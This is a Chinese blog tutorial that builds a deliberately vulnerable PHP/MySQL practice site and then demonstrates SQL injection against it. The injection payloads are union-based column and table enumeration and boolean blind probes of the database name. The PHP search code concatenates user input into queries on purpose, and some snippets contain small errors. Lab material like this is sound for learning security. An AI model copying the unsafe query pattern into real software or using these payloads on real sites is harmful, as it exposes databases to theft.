文章目录
- PHP开发漏洞环境(SQL注入)
- 生成前端代码
- 生成后端代码
- 数据库
- 写功能
- 调试功能
- 测试SQL注入漏洞
- 字符型注入
- 布尔盲注
PHP开发漏洞环境(SQL注入)
持续更新中…
文章中代码资源已上传资源,如需要打包好的请点击PHP+MYSQL 注入靶场源码
实现功能:
1、前端文章导航
2、点入内容显示
3、更改传参值显示不同内容
实现步骤:
1、前端页面显示编写 HTML&CSS
2、数据库文章数据导入 - MySQL操作
3、PHP操作MySQL编写 - PHP变量提交
开发环境:PHP5.3 + Apache + MySQL
以下源码都可以使用 phpStudy 搭建
生成前端代码
简单的写一下前端
<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>渗透测试小白的靶场</title> <link rel="stylesheet" type="text/css" href="styles.css"> <!-- 加载自定义CSS文件 --> <style> /* 自定义内联CSS样式 */ body { font-family: Arial, sans-serif; background-color: #f1f1f1; margin: 0; padding: 0; } header { background-color: #333; padding: 20px; color: #fff; text-align: center; } nav { background-color: #555; color: #fff; text-align: center; padding: 10px; } nav ul { list-style-type: none; margin: 0; padding: 0; } nav ul li { display: inline-block; margin-right: 10px; } nav ul li a { color: #fff; text-decoration: none; padding: 5px; } section { padding: 20px; text-align: center; color: #333; } footer { background-color: #555; color: #fff; text-align: center; padding: 10px; } </style>
</head>
<body>
<header> <h1>渗透测试小白的安全测试网站</h1>
</header>
<nav> <ul> <li><a href="index.php">首页</a></li> <!-- 链接index.php --> <li><a href="neirong/News.php">内容</a></li> <!-- 链接News.php --> <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 --> </ul>
</nav>
<section> <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2> <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>
</section>
<footer> © 2024 Cool Website
</footer>
</body>
</html>
看看效果
生成后端代码
先写一个配置文件,连接本地数据库(conn.php)
<?php
$conn = mysqli_connect("127.0.0.1","root","root","boke_mysql");
if(!$conn){ echo "数据库连接失败";
}else{ echo "数据库连接成功";
}
?>
内容(News.php)
<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>渗透测试小白的靶场</title> <link rel="stylesheet" type="text/css" href="../styles.css"> <!-- 加载自定义CSS文件 --> <style> /* 自定义内联CSS样式 */ body { font-family: Arial, sans-serif; background-color: #f1f1f1; margin: 0; padding: 0; } header { background-color: #333; padding: 20px; color: #fff; text-align: center; } nav { background-color: #555; color: #fff; text-align: center; padding: 10px; } nav ul { list-style-type: none; margin: 0; padding: 0; } nav ul li { display: inline-block; margin-right: 10px; } nav ul li a { color: #fff; text-decoration: none; padding: 5px; } section { padding: 20px; text-align: center; color: #333; } footer { background-color: #555; color: #fff; text-align: center; padding: 10px; } </style>
</head>
<body>
<header> <h1>渗透测试小白的安全测试网站</h1>
</header>
<nav> <ul> <li><a href="../index.php">首页</a></li> <!-- 链接index.php --> <li><a href="News.php">内容</a></li> <!-- 链接News.php --> <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 --> </ul>
</nav>
<section> <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2> <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p> <div class="search"> <form method="post" action=" "> <input type="search" name="title" id="title" placeholder="请输入搜索内容"> <button type="submit">搜索</button> </form> </div></section>
<footer> © 2024 Cool Website
</footer>
</body>
</html>
?>
看下效果
数据库
在数据库中创建一个表,并生成一些内容
create database boke_mysql; -- 创建boke_mysql数据库
CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT,username VARCHAR(50) NOT NULL,email VARCHAR(100) NOT NULL); -- 创建users表,id,username,email 字段CREATE TABLE posts (id INT PRIMARY KEY AUTO_INCREMENT,title VARCHAR(100) NOT NULL,content TEXT,user_id INT,FOREIGN KEY (user_id) REFERENCES users(id)
); -- 创建posts表-- 向 users 表插入数据
INSERT INTO users (username, email) VALUES('test1', 'test1@example.com'),('test2', 'test2@example.com');-- 向 posts 表插入数据
INSERT INTO posts (title, content, user_id) VALUES('测试内容(1)', '这是第一条测试内容', 1),('测试内容(2)', '这是第二条测试内容', 2);('测试内容(3)', '这是第三条测试内容', 3);
看看结果
写功能
在News.php中写一些功能,将查询结果从数据库中的表输出在内容板块
<?php
include("../config/conn.php"); // 包含数据库配置文件 if ($_SERVER["REQUEST_METHOD"] == "POST") { $title = $_POST["title"]; // 执行查询语句 $sql = "SELECT * FROM posts WHERE id = '$title'"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { // 循环遍历结果集 while ($row = mysqli_fetch_assoc($result)) { // 输出每行数据 echo "<p>" . $row['id'] . "</p>"; echo "<p>" . $row['title'] . "</p>"; echo "<p>" . $row['content'] . "</p>"; } } else { echo "<p>" . "未查询到结果" . "</p>"; }
}
?>
调试功能
正常的来输入一个 1 试试,发现能正常返回结果
测试SQL注入漏洞
只说几个典型的例子,其他注入类型都大差不差。
字符型注入
找到关键性语句,$sql
$sql = "SELECT * FROM posts WHERE id = '$title'"; //通过变量$title进行传参
构造恶意语句,不细说了,大家有兴趣的看我以前的文章。
SELECT * FROM posts WHERE id = '1'-- '" 这就型成了闭合
1' order by 4 -- // 查字段数
1' union select 1,2,3,4 -- // 查字段数
-1' union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2,3,4 -- //查表名
布尔盲注
修改后端代码
<?php
include("../config/conn.php"); // 包含数据库配置文件 if ($_SERVER["REQUEST_METHOD"] == "POST") { $title = $_POST["title"]; // 执行查询语句 $sql = "SELECT * FROM posts WHERE id = '$title'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if ($row){ echo "<p>"."内容存在"."</p>"; }else{ print_r(mysqli_error()); }
}
?>
语句构造,通过回显判断是否为真
1' and 1=1 --
1' and 1=2 --
1' and length(database())=10 --
1' and ascii(mid(database(),1,1))<100 --
1' and ascii(mid(database(),1,1))=98 --